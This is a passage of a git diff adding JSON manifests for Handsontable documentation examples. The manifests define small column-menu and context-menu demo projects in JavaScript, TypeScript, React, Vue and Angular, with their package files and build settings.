JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example1.js","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.ts.json new file mode 100644 index 00000000..6e9f06dd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Column menu · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example1.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.js.json new file mode 100644 index 00000000..5993d872 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example2.js","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.ts.json new file mode 100644 index 00000000..33e86dbe --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example2.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example1.tsx.json new file mode 100644 index 00000000..db57d094 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Column menu · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/column-menu/react/example1.tsx","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example2.tsx.json new file mode 100644 index 00000000..09c4c6da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/column-menu/react/example2.tsx","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example1.vue.json new file mode 100644 index 00000000..9dbb423e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Column menu · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/column-menu/vue/example1.vue","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example2.vue.json new file mode 100644 index 00000000..014dd64f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__column-menu__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/column-menu/vue/example2.vue","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example1.ts.json new file mode 100644 index 00000000..c793bcb7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Context menu · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly hotSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/context-menu/angular/example1.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/context-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example2.ts.json new file mode 100644 index 00000000..93a76c87 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Context menu · Context menu with selected options · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly hotSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n contextMenu: ['row_above', 'row_below', 'remove_row', 'clear_column'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/context-menu/angular/example2.ts","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example2","exampleTitle":"Context menu with selected options","docPermalink":"/context-menu","lang":"Angular"} diff --git 